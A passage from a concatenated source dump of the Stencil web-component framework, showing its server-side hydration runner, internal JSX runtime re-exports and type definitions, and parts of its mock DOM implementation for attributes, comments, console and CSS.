HTMLLinkElement).href; if (typeof link.rel === 'string' && link.rel.toLowerCase() === 'stylesheet') { if (typeof link.href === 'string') { if (!results.styles.some((s) => s.link === link.href)) { delete link.rel; delete link.type; results.styles.push(link); } } } break; case 'script': const script = collectAttributes(childElm); if (childElm.hasAttribute('src')) { script.src = (childElm as HTMLScriptElement).src; if (typeof script.src === 'string') { if (!results.scripts.some((s) => s.src === script.src)) { results.scripts.push(script); } } } else { const staticDataKey = childElm.getAttribute('data-stencil-static'); if (staticDataKey) { // results.staticData.push({ id: staticDataKey, type: childElm.getAttribute('type'), content: childElm.textContent, }); } } break; } } depth++; inspectElement(results, childElm, depth); } } function collectAttributes(node: Element) { const parsedElm: d.HydrateElement = {}; const attrs = node.attributes; for (let i = 0, ii = attrs.length; i < ii; i++) { const attr = attrs.item(i); const attrName = attr.nodeName.toLowerCase(); if (SKIP_ATTRS.has(attrName)) { continue; } const attrValue = attr.nodeValue; if (attrName === 'class' && attrValue === '') { continue; } parsedElm[attrName] = attrValue; } return parsedElm; } const SKIP_ATTRS = new Set(['s-id', 'c-id']); ================================================ FILE: src/hydrate/runner/patch-dom-implementation.ts ================================================ import { MockWindow, patchWindow } from '@stencil/core/mock-doc'; import type * as d from '../../declarations'; export function patchDomImplementation(doc: any, opts: d.HydrateFactoryOptions) { let win: MockWindow; if (doc.defaultView != null) { opts.destroyWindow = true; patchWindow(doc.defaultView); win = doc.defaultView; } else { opts.destroyWindow = true; opts.destroyDocument = false; win = new MockWindow(false) as any; } if (win.document !== doc) { win.document = doc; } if (doc.defaultView !== win) { doc.defaultView = win; } const HTMLElement = doc.documentElement.constructor.prototype; if (typeof HTMLElement.getRootNode !== 'function') { const elm = doc.createElement('unknown-element'); const HTMLUnknownElement = elm.constructor.prototype; HTMLUnknownElement.getRootNode = getRootNode; } if (typeof doc.createEvent === 'function') { const CustomEvent = doc.createEvent('CustomEvent').constructor; if (win.CustomEvent !== CustomEvent) { win.CustomEvent = CustomEvent; } } try { // @ts-expect-error Assigning the baseURI prevents JavaScript optimizers from treating this as dead code win.__stencil_baseURI = doc.baseURI; } catch (e) { Object.defineProperty(doc, 'baseURI', { get() { const baseElm = doc.querySelector('base[href]'); if (baseElm) { return new URL(baseElm.getAttribute('href'), win.location.href).href; } return win.location.href; }, }); } return win; } function getRootNode(this: Node, opts?: { composed?: boolean; [key: string]: any }) { const isComposed = opts != null && opts.composed === true; let node: Node = this; while (node.parentNode != null) { node = node.parentNode; if (isComposed === true && node.parentNode == null && (node as any).host != null) { node = (node as any).host; } } return node; } ================================================ FILE: src/hydrate/runner/render-utils.ts ================================================ import type * as d from '../../declarations'; export function normalizeHydrateOptions(inputOpts?: d.HydrateDocumentOptions) { const outputOpts: d.HydrateFactoryOptions = Object.assign( { serializeToHtml: false, destroyWindow: false, destroyDocument: false, }, inputOpts || {}, ); if (typeof outputOpts.clientHydrateAnnotations !== 'boolean') { outputOpts.clientHydrateAnnotations = true; } if (typeof outputOpts.constrainTimeouts !== 'boolean') { outputOpts.constrainTimeouts = true; } if (typeof outputOpts.maxHydrateCount !== 'number') { outputOpts.maxHydrateCount = 300; } if (typeof outputOpts.runtimeLogging !== 'boolean') { outputOpts.runtimeLogging = false; } if (typeof outputOpts.timeout !== 'number') { outputOpts.timeout = 15000; } if (Array.isArray(outputOpts.excludeComponents)) { outputOpts.excludeComponents = outputOpts.excludeComponents.filter(filterValidTags).map(mapValidTags); } else { outputOpts.excludeComponents = []; } if (Array.isArray(outputOpts.staticComponents)) { outputOpts.staticComponents = outputOpts.staticComponents.filter(filterValidTags).map(mapValidTags); } else { outputOpts.staticComponents = []; } return outputOpts; } function filterValidTags(tag: string) { return typeof tag === 'string' && tag.includes('-'); } function mapValidTags(tag: string) { return tag.trim().toLowerCase(); } export function generateHydrateResults(opts: d.HydrateDocumentOptions) { if (typeof opts.url !== 'string') { opts.url = `https://hydrate.stenciljs.com/`; } if (typeof opts.buildId !== 'string') { opts.buildId = createHydrateBuildId(); } const results: d.HydrateResults = { buildId: opts.buildId, diagnostics: [], url: opts.url, host: null, hostname: null, href: null, pathname: null, port: null, search: null, hash: null, html: null, httpStatus: null, hydratedCount: 0, anchors: [], components: [], imgs: [], scripts: [], staticData: [], styles: [], title: null, }; try { const url = new URL(opts.url, `https://hydrate.stenciljs.com/`); results.url = url.href; results.host = url.host; results.hostname = url.hostname; results.href = url.href; results.port = url.port; results.pathname = url.pathname; results.search = url.search; results.hash = url.hash; } catch (e) { renderCatchError(results, e); } return results; } export const createHydrateBuildId = () => { // should be case insensitive because it could be in a URL // and shouldn't start with a number cuz we might use it as a js prop let chars = 'abcdefghijklmnopqrstuvwxyz'; let buildId = ''; while (buildId.length < 8) { const char = chars[Math.floor(Math.random() * chars.length)]; buildId += char; if (buildId.length === 1) { chars += '0123456789'; } } return buildId; }; export function renderBuildDiagnostic( results: d.HydrateResults, level: 'error' | 'warn' | 'info' | 'log' | 'debug', header: string, msg: string, ) { const diagnostic: d.Diagnostic = { level: level, type: 'build', header: header, messageText: msg, relFilePath: undefined, absFilePath: undefined, lines: [], }; if (results.pathname) { if (results.pathname !== '/') { diagnostic.header += ': ' + results.pathname; } } else if (results.url) { diagnostic.header += ': ' + results.url; } results.diagnostics.push(diagnostic); return diagnostic; } export function renderBuildError(results: d.HydrateResults, msg?: string) { return renderBuildDiagnostic(results, 'error', 'Hydrate Error', msg || ''); } export function renderCatchError(results: d.HydrateResults, err: any) { const diagnostic = renderBuildError(results); if (err != null) { if (err.stack != null) { diagnostic.messageText = err.stack.toString(); } else { if (err.message != null) { diagnostic.messageText = err.message.toString(); } else { diagnostic.messageText = err.toString(); } } } return diagnostic; } ================================================ FILE: src/hydrate/runner/render.ts ================================================ import { Readable } from 'node:stream'; import { hydrateFactory } from '@hydrate-factory'; import { modeResolutionChain, setMode } from '@platform'; import { HYDRATED_STYLE_ID } from '@runtime'; import { MockWindow, serializeNodeToHtml } from '@stencil/core/mock-doc'; import { hasError } from '@utils'; import { updateCanonicalLink } from '../../compiler/html/canonical-link'; import { relocateMetaCharset } from '../../compiler/html/relocate-meta-charset'; import { removeUnusedStyles } from '../../compiler/html/remove-unused-styles'; import type { HydrateDocumentOptions, HydrateFactoryOptions, HydrateResults, SerializeDocumentOptions, } from '../../declarations'; import { inspectElement } from './inspect-element'; import { patchDomImplementation } from './patch-dom-implementation'; import { generateHydrateResults, normalizeHydrateOptions, renderBuildError, renderCatchError } from './render-utils'; import { initializeWindow } from './window-initialize'; const NOOP = () => {}; export function streamToString(html: string | any, option?: SerializeDocumentOptions) { return renderToString(html, option, true); } export function renderToString(html: string | any, options?: SerializeDocumentOptions): Promise; export function renderToString( html: string | any, options: SerializeDocumentOptions | undefined, asStream: true, ): Readable; export function renderToString( html: string | any, options?: SerializeDocumentOptions, asStream?: boolean, ): Promise | Readable { const opts = normalizeHydrateOptions(options); /** * Makes the rendered DOM not being rendered to a string. */ opts.serializeToHtml = true; /** * Set the flag whether or not we like to render into a declarative shadow root. */ opts.fullDocument = typeof opts.fullDocument === 'boolean' ? opts.fullDocument : true; /** * Defines whether we render the shadow root as a declarative shadow root or as scoped shadow root. */ opts.serializeShadowRoot = typeof opts.serializeShadowRoot === 'undefined' ? 'declarative-shadow-dom' : opts.serializeShadowRoot; /** * Make sure we wait for components to be hydrated. */ opts.constrainTimeouts = false; return hydrateDocument(html, opts, asStream); } export function hydrateDocument(doc: any | string, options?: HydrateDocumentOptions): Promise; export function hydrateDocument( doc: any | string, options: HydrateDocumentOptions | undefined, asStream?: boolean, ): Readable; export function hydrateDocument( doc: any | string, options?: HydrateDocumentOptions, asStream?: boolean, ): Promise | Readable { const opts = normalizeHydrateOptions(options); /** * Defines whether we render the shadow root as a declarative shadow root or as scoped shadow root. */ opts.serializeShadowRoot = typeof opts.serializeShadowRoot === 'undefined' ? 'declarative-shadow-dom' : opts.serializeShadowRoot; let win: MockWindow | null = null; const results = generateHydrateResults(opts); if (hasError(results.diagnostics)) { return Promise.resolve(results); } if (typeof doc === 'string') { try { opts.destroyWindow = true; opts.destroyDocument = true; win = new MockWindow(doc); if (!asStream) { return render(win, opts, results).then(() => results); } return renderStream(win, opts, results); } catch (e) { if (win && win.close) { win.close(); } win = null; renderCatchError(results, e); return Promise.resolve(results); } } if (isValidDocument(doc)) { try { opts.destroyDocument = false; win = patchDomImplementation(doc, opts); if (!asStream) { return render(win, opts, results).then(() => results); } return renderStream(win, opts, results); } catch (e) { if (win && win.close) { win.close(); } win = null; renderCatchError(results, e); return Promise.resolve(results); } } renderBuildError(results, `Invalid html or document. Must be either a valid "html" string, or DOM "document".`); return Promise.resolve(results); } async function render(win: MockWindow, opts: HydrateFactoryOptions, results: HydrateResults) { if ('process' in globalThis && typeof process.on === 'function' && !(process as any).__stencilErrors) { (process as any).__stencilErrors = true; process.on('unhandledRejection', (e) => { console.log('unhandledRejection', e); }); } initializeWindow(win, win.document, opts, results); const beforeHydrateFn = typeof opts.beforeHydrate === 'function' ? opts.beforeHydrate : NOOP; try { await Promise.resolve(beforeHydrateFn(win.document)); return new Promise((resolve) => { if (Array.isArray(opts.modes)) { /** * Reset the mode resolution chain as we expect every `renderToString` call to render * the components in new environment/document. */ modeResolutionChain.length = 0; opts.modes.forEach((mode) => setMode(mode)); } return hydrateFactory(win, opts, results, afterHydrate, resolve); }); } catch (e) { renderCatchError(results, e); return finalizeHydrate(win, win.document, opts, results); } } /** * Wrapper around `render` method to enable streaming by returning a Readable instead of a promise. * @param win MockDoc window object * @param opts serialization options * @param results render result object * @returns a Readable that can be passed into a response */ function renderStream(win: MockWindow, opts: HydrateFactoryOptions, results: HydrateResults) { async function* processRender() { const renderResult = await render(win, opts, results); yield renderResult.html; } return Readable.from(processRender()); } async function afterHydrate( win: MockWindow, opts: HydrateFactoryOptions, results: HydrateResults, resolve: (results: HydrateResults) => void, ) { const afterHydrateFn = typeof opts.afterHydrate === 'function' ? opts.afterHydrate : NOOP; try { await Promise.resolve(afterHydrateFn(win.document)); return resolve(finalizeHydrate(win, win.document, opts, results)); } catch (e) { renderCatchError(results, e); return resolve(finalizeHydrate(win, win.document, opts, results)); } } function finalizeHydrate(win: MockWindow, doc: Document, opts: HydrateFactoryOptions, results: HydrateResults) { try { inspectElement(results, doc.documentElement, 0); if (opts.removeUnusedStyles !== false) { try { removeUnusedStyles(doc, results.diagnostics); } catch (e) { renderCatchError(results, e); } } if (typeof opts.title === 'string') { try { doc.title = opts.title; } catch (e) { renderCatchError(results, e); } } results.title = doc.title; if (opts.removeScripts) { removeScripts(doc.documentElement); } const styles = doc.querySelectorAll('head style'); if (styles.length > 0) { results.styles.push( ...Array.from(styles).map((style) => ({ href: style.getAttribute('href'), id: style.getAttribute(HYDRATED_STYLE_ID), content: style.textContent, })), ); } try { updateCanonicalLink(doc, opts.canonicalUrl); } catch (e) { renderCatchError(results, e); } try { relocateMetaCharset(doc); } catch (e) {} if (!hasError(results.diagnostics)) { results.httpStatus = 200; } try { const metaStatus = doc.head.querySelector('meta[http-equiv="status"]'); if (metaStatus != null) { const metaStatusContent = metaStatus.getAttribute('content'); if (metaStatusContent && metaStatusContent.length > 0) { results.httpStatus = parseInt(metaStatusContent, 10); } } } catch (e) {} if (opts.clientHydrateAnnotations) { doc.documentElement.classList.add('hydrated'); } if (opts.serializeToHtml) { results.html = serializeDocumentToString(doc, opts); } } catch (e) { renderCatchError(results, e); } destroyWindow(win, doc, opts, results); return results; } function destroyWindow(win: MockWindow, doc: Document, opts: HydrateFactoryOptions, results: HydrateResults) { if (!opts.destroyWindow) { return; } try { if (!opts.destroyDocument) { (win as any).document = null; (doc as any).defaultView = null; } if (win.close) { win.close(); } } catch (e) { renderCatchError(results, e); } } export function serializeDocumentToString(doc: Document, opts: HydrateFactoryOptions) { return serializeNodeToHtml(doc, { approximateLineWidth: opts.approximateLineWidth, outerHtml: false, prettyHtml: opts.prettyHtml, removeAttributeQuotes: opts.removeAttributeQuotes, removeBooleanAttributeQuotes: opts.removeBooleanAttributeQuotes, removeEmptyAttributes: opts.removeEmptyAttributes, removeHtmlComments: opts.removeHtmlComments, serializeShadowRoot: opts.serializeShadowRoot, fullDocument: opts.fullDocument, }); } function isValidDocument(doc: Document) { return ( doc != null && doc.nodeType === 9 && doc.documentElement != null && doc.documentElement.nodeType === 1 && doc.body != null && doc.body.nodeType === 1 ); } function removeScripts(elm: HTMLElement) { const children = elm.children; for (let i = children.length - 1; i >= 0; i--) { const child = children[i]; removeScripts(child as any); if (child.nodeName === 'SCRIPT' || (child.nodeName === 'LINK' && child.getAttribute('rel') === 'modulepreload')) { child.remove(); } } } ================================================ FILE: src/hydrate/runner/runtime-log.ts ================================================ import { MockWindow } from '@stencil/core/mock-doc'; import type * as d from '../../declarations'; import { renderBuildDiagnostic, renderCatchError } from './render-utils'; export function runtimeLogging(win: MockWindow, opts: d.HydrateDocumentOptions, results: d.HydrateResults) { try { const pathname = win.location.pathname; win.console.error = (...msgs: any[]) => { const errMsg = msgs .reduce((errMsg, m) => { if (m) { if (m.stack != null) { return errMsg + ' ' + String(m.stack); } else { if (m.message != null) { return errMsg + ' ' + String(m.message); } } } return String(m); }, '') .trim(); if (errMsg !== '') { renderCatchError(results, errMsg); if (opts.runtimeLogging) { runtimeLog(pathname, 'error', [errMsg]); } } }; win.console.debug = (...msgs: any[]) => { renderBuildDiagnostic(results, 'debug', 'Hydrate Debug', [...msgs].join(', ')); if (opts.runtimeLogging) { runtimeLog(pathname, 'debug', msgs); } }; if (opts.runtimeLogging) { ['log', 'warn', 'assert', 'info', 'trace'].forEach((type) => { (win.console as any)[type] = (...msgs: any[]) => { runtimeLog(pathname, type, msgs); }; }); } } catch (e) { renderCatchError(results, e); } } function runtimeLog(pathname: string, type: string, msgs: any[]) { (global.console as any)[type].apply(global.console, [`[ ${pathname} ${type} ] `, ...msgs]); } ================================================ FILE: src/hydrate/runner/window-initialize.ts ================================================ import { constrainTimeouts, type MockWindow } from '@stencil/core/mock-doc'; import { STENCIL_DOC_DATA } from 'src/runtime/runtime-constants'; import type * as d from '../../declarations'; import { runtimeLogging } from './runtime-log'; /** * Maintain a unique `docData` object across multiple hydration runs * to ensure that host ids remain unique. */ const docData: d.DocData = { hostIds: 0, rootLevelIds: 0, staticComponents: new Set(), } as d.DocData; export function initializeWindow( win: MockWindow, doc: Document, opts: d.HydrateDocumentOptions, results: d.HydrateResults, ) { if (typeof opts.url === 'string') { try { win.location.href = opts.url; } catch (e) {} } if (typeof opts.userAgent === 'string') { try { win.navigator.userAgent = opts.userAgent; } catch (e) {} } if (typeof opts.cookie === 'string') { try { doc.cookie = opts.cookie; } catch (e) {} } if (typeof opts.referrer === 'string') { try { (doc as any).referrer = opts.referrer; } catch (e) {} } if (typeof opts.direction === 'string') { try { doc.documentElement.setAttribute('dir', opts.direction); } catch (e) {} } if (typeof opts.language === 'string') { try { doc.documentElement.setAttribute('lang', opts.language); } catch (e) {} } if (typeof opts.buildId === 'string') { try { doc.documentElement.setAttribute('data-stencil-build', opts.buildId); } catch (e) {} } try { // TODO(STENCIL-345) - Evaluate reconciling MockWindow, Window differences // @ts-ignore win.customElements = null; } catch (e) {} if (opts.constrainTimeouts) { constrainTimeouts(win); } runtimeLogging(win, opts, results); (doc as d.StencilDocument)[STENCIL_DOC_DATA] = docData; return win; } ================================================ FILE: src/index.ts ================================================ export * from './internal/stencil-core'; ================================================ FILE: src/internal/default.ts ================================================ export * from '@stencil/core/internal/client'; ================================================ FILE: src/internal/index.ts ================================================ export * from '../declarations'; ================================================ FILE: src/internal/readme.md ================================================ # @stencil/core/internal NOTE!! The `@stencil/core/internal` package is not meant to be consumed directly by anything other than Stencil internals. It is its own package so that it can be resolved by Stencil, but breaking changes can/will happen at any time. This isn't a "use at your own discretion" moment, but it's more of a "never use this because your code will break" fact. ## `index.ts` This is the main entry file for all of Stencil's internals, such as Stencil's runtime and compiler types. However, any public references to the internals are found in `declarations/stencil-core.ts` and `internal/default.ts`. This file is largely used to generate all of Stencil's internal types. But the transpiled JavaScript from this is not exposed. ## `default.ts` By default, when Stencil resolves `@stencil/core/internal`, it's going to assume it wants the `client` internals (rather than `hydrate`). So by default, `@stencil/core/internal` actually points to `@stencil/core/internal/client`. ================================================ FILE: src/internal/stencil-core/index.cjs ================================================ exports.h = function () {}; ================================================ FILE: src/internal/stencil-core/index.d.ts ================================================ export type { StencilConfig as Config, PrerenderConfig } from '../stencil-public-compiler'; export type { ChildNode, ComponentDidLoad, ComponentDidUpdate, ComponentInterface, ComponentOptions, ComponentWillLoad, ComponentWillUpdate, EventEmitter, EventOptions, FunctionalComponent, FunctionalUtilities, JSX, ListenOptions, ListenTargetOptions, MethodOptions, ModeStyles, PropOptions, QueueApi, RafCallback, VNode, VNodeData, } from '../stencil-public-runtime'; export { AttrDeserialize, PropSerialize, AttachInternals, Build, Component, Element, Env, Event, forceUpdate, Fragment, getAssetPath, getElement, getMode, getRenderingRef, h, Host, Listen, Method, MixedInCtor, Mixin, MixinFactory, Prop, readTask, render, resolveVar, setAssetPath, setErrorHandler, setMode, setNonce, setPlatformHelpers, setTagTransformer, State, transformTag, Watch, writeTask, } from '../stencil-public-runtime'; ================================================ FILE: src/internal/stencil-core/index.js ================================================ export { Build, forceUpdate, getAssetPath, getElement, getMode, getRenderingRef, h, Host, Mixin, readTask, render, setAssetPath, setErrorHandler, setMode, setPlatformHelpers, writeTask, } from '../client/index.js'; ================================================ FILE: src/internal/stencil-core/jsx-dev-runtime.cjs ================================================ // Export automatic JSX development runtime (CommonJS) // Note: This requires the client platform to be built const client = require('../client/index.js'); module.exports = { jsxDEV: client.jsxDEV, Fragment: client.Fragment, }; ================================================ FILE: src/internal/stencil-core/jsx-dev-runtime.d.ts ================================================ /** * Automatic JSX Development Runtime type definitions for Stencil * * This module provides TypeScript type definitions for the automatic JSX development runtime. * When using "jsx": "react-jsxdev" in tsconfig.json with "jsxImportSource": "@stencil/core", * TypeScript will automatically import from this module in development mode. */ import type { VNode, JSXBase } from '../stencil-public-runtime'; import type { JSX as LocalJSX } from '../stencil-public-runtime'; export { Fragment } from '../stencil-public-runtime'; /** * JSX development runtime function for creating elements with debug info. */ export function jsxDEV( type: any, props: any, key?: string | number, isStaticChildren?: boolean, source?: any, self?: any, ): VNode; /** * JSX namespace for TypeScript's automatic JSX runtime. * This is required for TypeScript to resolve JSX element types when using * "jsx": "react-jsxdev" with "jsxImportSource": "@stencil/core". */ export namespace JSX { type BaseElements = LocalJSX.IntrinsicElements & JSXBase.IntrinsicElements; export type IntrinsicElements = { [K in keyof BaseElements]: BaseElements[K] & { children?: any }; } & { [tagName: string]: any; }; export type Element = VNode | VNode[] | null; } ================================================ FILE: src/internal/stencil-core/jsx-dev-runtime.js ================================================ // Re-export from the client platform (same pattern as index.js) export { jsxDEV, Fragment } from '../client/index.js'; ================================================ FILE: src/internal/stencil-core/jsx-runtime.cjs ================================================ // Export automatic JSX runtime (CommonJS) // Note: This requires the client platform to be built const client = require('../client/index.js'); module.exports = { jsx: client.jsx, jsxs: client.jsxs, Fragment: client.Fragment, }; ================================================ FILE: src/internal/stencil-core/jsx-runtime.d.ts ================================================ /** * Automatic JSX Runtime type definitions for Stencil * * This module provides TypeScript type definitions for the automatic JSX runtime. * When using "jsx": "react-jsx" or "jsx": "react-jsxdev" in tsconfig.json with * "jsxImportSource": "@stencil/core", TypeScript will automatically import from * these modules instead of requiring manual `h` imports. */ import type { VNode, JSXBase } from '../stencil-public-runtime'; import type { JSX as LocalJSX } from '../stencil-public-runtime'; export { Fragment } from '../stencil-public-runtime'; /** * JSX runtime function for creating elements in production mode. */ export function jsx(type: any, props: any, key?: string): VNode; /** * JSX runtime function for creating elements with static children. */ export function jsxs(type: any, props: any, key?: string): VNode; /** + * JSX namespace for TypeScript's automatic JSX runtime. + * This is required for TypeScript to resolve JSX element types when using + * "jsx": "react-jsx" with "jsxImportSource": "@stencil/core". + */ export namespace JSX { type BaseElements = LocalJSX.IntrinsicElements & JSXBase.IntrinsicElements; export type IntrinsicElements = { [K in keyof BaseElements]: BaseElements[K] & { children?: any }; } & { [tagName: string]: any; }; export type Element = VNode | VNode[] | null; } ================================================ FILE: src/internal/stencil-core/jsx-runtime.js ================================================ // Re-export from the client platform (same pattern as index.js) export { jsx, jsxs, Fragment } from '../client/index.js'; ================================================ FILE: src/internal/testing/jsx-dev-runtime.d.ts ================================================ // Type definitions for automatic JSX development runtime in testing export { jsxDEV, Fragment, JSX } from '../stencil-core/jsx-dev-runtime'; ================================================ FILE: src/internal/testing/jsx-dev-runtime.js ================================================ // Export automatic JSX development runtime for testing // This file allows TypeScript's automatic JSX transform to work in tests // when using jsxImportSource: "@stencil/core/internal/testing" with jsx: "react-jsxdev" const testing = require('./index.js'); module.exports = { jsxDEV: testing.jsxDEV, Fragment: testing.Fragment, }; ================================================ FILE: src/internal/testing/jsx-runtime.d.ts ================================================ // Type definitions for automatic JSX runtime in testing export { jsx, jsxs, Fragment, JSX } from '../stencil-core/jsx-runtime'; ================================================ FILE: src/internal/testing/jsx-runtime.js ================================================ // Export automatic JSX runtime for testing // This file allows TypeScript's automatic JSX transform to work in tests // when using jsxImportSource: "@stencil/core/internal/testing" const testing = require('./index.js'); module.exports = { jsx: testing.jsx, jsxs: testing.jsxs, Fragment: testing.Fragment, }; ================================================ FILE: src/mock-doc/attribute.ts ================================================ import { XLINK_NS } from '../runtime/runtime-constants'; const attrHandler = { get(obj: any, prop: string) { if (prop in obj) { return obj[prop]; } if (typeof prop !== 'symbol' && !isNaN(prop as any)) { return (obj as MockAttributeMap).__items[prop as any]; } return undefined; }, }; export const createAttributeProxy = (caseInsensitive: boolean) => new Proxy(new MockAttributeMap(caseInsensitive), attrHandler); export class MockAttributeMap { __items: MockAttr[] = []; constructor(public caseInsensitive = false) {} get length() { return this.__items.length; } item(index: number) { return this.__items[index] || null; } setNamedItem(attr: MockAttr) { attr.namespaceURI = null; this.setNamedItemNS(attr); } setNamedItemNS(attr: MockAttr) { if (attr != null && attr.value != null) { attr.value = String(attr.value); } const existingAttr = this.__items.find((a) => a.name === attr.name && a.namespaceURI === attr.namespaceURI); if (existingAttr != null) { existingAttr.value = attr.value; } else { this.__items.push(attr); } } getNamedItem(attrName: string) { if (this.caseInsensitive) { attrName = attrName.toLowerCase(); } return this.getNamedItemNS(null, attrName); } getNamedItemNS(namespaceURI: string | null, attrName: string) { namespaceURI = getNamespaceURI(namespaceURI); return ( this.__items.find((attr) => attr.name === attrName && getNamespaceURI(attr.namespaceURI) === namespaceURI) || null ); } removeNamedItem(attr: MockAttr) { this.removeNamedItemNS(attr); } removeNamedItemNS(attr: MockAttr) { for (let i = 0, ii = this.__items.length; i < ii; i++) { if (this.__items[i].name === attr.name && this.__items[i].namespaceURI === attr.namespaceURI) { this.__items.splice(i, 1); break; } } } [Symbol.iterator]() { let i = 0; return { next: () => ({ done: i === this.length, value: this.item(i++), }), }; } get [Symbol.toStringTag]() { return 'MockAttributeMap'; } } function getNamespaceURI(namespaceURI: string | null) { return namespaceURI === XLINK_NS ? null : namespaceURI; } export function cloneAttributes(srcAttrs: MockAttributeMap, sortByName = false) { const dstAttrs = new MockAttributeMap(srcAttrs.caseInsensitive); if (srcAttrs != null) { const attrLen = srcAttrs.length; if (sortByName && attrLen > 1) { const sortedAttrs: MockAttr[] = []; for (let i = 0; i < attrLen; i++) { const srcAttr = srcAttrs.item(i); const dstAttr = new MockAttr(srcAttr.name, srcAttr.value, srcAttr.namespaceURI); sortedAttrs.push(dstAttr); } sortedAttrs.sort(sortAttributes).forEach((attr) => { dstAttrs.setNamedItemNS(attr); }); } else { for (let i = 0; i < attrLen; i++) { const srcAttr = srcAttrs.item(i); const dstAttr = new MockAttr(srcAttr.name, srcAttr.value, srcAttr.namespaceURI); dstAttrs.setNamedItemNS(dstAttr); } } } return dstAttrs; } function sortAttributes(a: MockAttr, b: MockAttr) { if (a.name < b.name) return -1; if (a.name > b.name) return 1; return 0; } export class MockAttr { private _name: string; private _value: string; private _namespaceURI: string | null; constructor(attrName: string, attrValue: string, namespaceURI: string | null = null) { this._name = attrName; this._value = String(attrValue); this._namespaceURI = namespaceURI; } get name() { return this._name; } set name(value) { this._name = value; } get value() { return this._value; } set value(value) { this._value = String(value); } get nodeName() { return this._name; } set nodeName(value) { this._name = value; } get nodeValue() { return this._value; } set nodeValue(value) { this._value = String(value); } get namespaceURI() { return this._namespaceURI; } set namespaceURI(namespaceURI) { this._namespaceURI = namespaceURI; } } ================================================ FILE: src/mock-doc/comment-node.ts ================================================ import { NODE_NAMES, NODE_TYPES } from './constants'; import { MockNode } from './node'; export class MockComment extends MockNode { constructor(ownerDocument: any, data: string) { super(ownerDocument, NODE_TYPES.COMMENT_NODE, NODE_NAMES.COMMENT_NODE, data); } override cloneNode(_deep?: boolean) { return new MockComment(null, this.nodeValue); } override get textContent() { return this.nodeValue; } override set textContent(text) { this.nodeValue = text; } } ================================================ FILE: src/mock-doc/console.ts ================================================ const consoleNoop = () => { /**/ }; export function createConsole(): any { return { debug: consoleNoop, error: consoleNoop, info: consoleNoop, log: consoleNoop, warn: consoleNoop, dir: consoleNoop, dirxml: consoleNoop, table: consoleNoop, trace: consoleNoop, group: consoleNoop, groupCollapsed: consoleNoop, groupEnd: consoleNoop, clear: consoleNoop, count: consoleNoop, countReset: consoleNoop, assert: consoleNoop, profile: consoleNoop, profileEnd: consoleNoop, time: consoleNoop, timeLog: consoleNoop, timeEnd: consoleNoop, timeStamp: consoleNoop, context: consoleNoop, memory: consoleNoop, }; } ================================================ FILE: src/mock-doc/constants.ts ================================================ export const enum NODE_TYPES { ELEMENT_NODE = 1, ATTRIBUTE_NODE = 2, TEXT_NODE = 3, CDATA_SECTION_NODE = 4, ENTITY_REFERENCE_NODE = 5, ENTITY_NODE = 6, PROCESSING_INSTRUCTION_NODE = 7, COMMENT_NODE = 8, DOCUMENT_NODE = 9, DOCUMENT_TYPE_NODE = 10, DOCUMENT_FRAGMENT_NODE = 11, NOTATION_NODE = 12, } export const enum NODE_NAMES { COMMENT_NODE = '#comment', DOCUMENT_NODE = '#document', DOCUMENT_FRAGMENT_NODE = '#document-fragment', TEXT_NODE = '#text', } ================================================ FILE: src/mock-doc/css-style-declaration.ts ================================================ export class MockCSSStyleDeclaration { private _styles = new Map(); setProperty(prop: string, value: string) { prop = jsCaseToCssCase(prop); if (value == null || value === '') { this._styles.delete(prop); } else { this._styles.set(prop, String(value)); } } getPropertyValue(prop: string) { prop = jsCaseToCssCase(prop); return String(this._styles.get(prop) || ''); } removeProperty(prop: string) { prop = jsCaseToCssCase(prop); this._styles.delete(prop); } get length() { return this._styles.size; } get cssText() { const cssText: string[] = []; this._styles.forEach((value, prop) => { cssText.push(`${prop}: ${value};`); }); return cssText.join(' ').trim(); } set cssText(cssText: string) { if (cssText == null || cssText === '') { this._styles.clear(); return; } cssText.split(';').forEach((rule) => { rule = rule.trim(); if (rule.length > 0) { const splt = rule.split(':'); if (splt.length > 1) { const prop = splt[0].trim(); const value = splt.slice(1).join(':').trim(); if (prop !== '' && value !== '') { this._styles.set(jsCaseToCssCase(prop), value); } } } }); } } export function createCSSStyleDeclaration() { return new Proxy(new MockCSSStyleDeclaration(), cssProxyHandler); } const cssProxyHandler: ProxyHandler = { get(cssStyle, prop: string) { if (prop in cssStyle) { return (cssStyle as any)[prop]; } prop = cssCaseToJsCase(prop); return cssStyle.getPropertyValue(prop); }, set(cssStyle, prop: string, value) { if (prop in cssStyle) { (cssStyle as any)[prop] = value; } else { cssStyle.setProperty(prop, value); } return true; }, }; function cssCaseToJsCase(str: string) { // font-size to fontSize if (str.length > 1 && str.includes('-') === true) { str = str .toLowerCase() .split('-') .map((segment) => segment.charAt(0).toUpperCase() + segment.slice(1)) .join(''); str = str.slice(0, 1).toLowerCase() + str.slice(1); } return str; } function jsCaseToCssCase(str: string) { // fontSize to font-size if (str.length > 1 && str.includes('-') === false && /[A-Z]/.test(str) === true) { str = str .replace(/([A-Z])/g, (g) => ' ' + g[0]) .trim() .replace(/ /g, '-') .toLowerCase(); } return str; } ================================================ FILE: src/mock-doc/css-style-sheet.ts ================================================ import { MockStyleElement } from './element'; class MockCSSRule { cssText = ''; type = 0; constructor(public parentStyleSheet: MockCSSStyleSheet) {} } export class MockCSSStyleSheet { ownerNode?: MockStyleElement; type = 'text/css'; parentStyleSheet: MockCSSStyleSheet = null; cssRules: MockCSSRule[] = []; constructor(ownerNode?: MockStyleElement) { this.ownerNode = ownerNode; } get rules() { return this.cssRules; } set rules(rules) { this.cssRules = rules; } deleteRule(index: number) { if (index >= 0 && index < this.cssRules.length) { this.cssRules.splice(index, 1); if (this.ownerNode) { updateStyleTextNode(this.ownerNode); } } } insertRule(rule: string, index = 0) { if (typeof index !== 'number') { index = 0; } if (index < 0) { index = 0; } if (index > this.cssRules.length) { index = this.cssRules.length; } const cssRule = new MockCSSRule(this); cssRule.cssText = rule; this.cssRules.splice(index, 0, cssRule); if (this.ownerNode) { updateStyleTextNode(this.ownerNode); } return index; } replaceSync(cssText: string) { // Clear current rules this.cssRules = []; // Naive rule parser: split by `}` and restore closing bracket const rules = cssText .split('}') .map((rule) => rule.trim()) .filter(Boolean) .map((rule) => rule + '}'); for (const rule of rules) { const cssRule = new MockCSSRule(this); cssRule.cssText = rule; this.cssRules.push(cssRule); } if (this.ownerNode) { updateStyleTextNode(this.ownerNode); } } } export function getStyleElementText(styleElm: MockStyleElement) { const output: string[] = []; for (let i = 0; i < styleElm.childNodes.length; i++) { output.push(styleElm.childNodes[i].nodeValue); } return output.join(''); } export function setStyleElementText(styleElm: MockStyleElement, text: string) { // keeping the innerHTML and the sheet.cssRules connected // is not technically 